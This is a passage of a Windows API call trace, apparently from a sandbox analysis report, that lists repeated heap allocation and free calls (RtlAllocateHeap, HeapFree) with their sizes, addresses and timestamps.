(HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.473] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.473] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.473] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.474] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.474] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.475] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.475] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.476] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.476] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.477] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.477] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.478] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.478] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.479] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.479] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.480] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.480] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.481] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.481] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.481] HeapFree (in: hHeap=0xd10000, 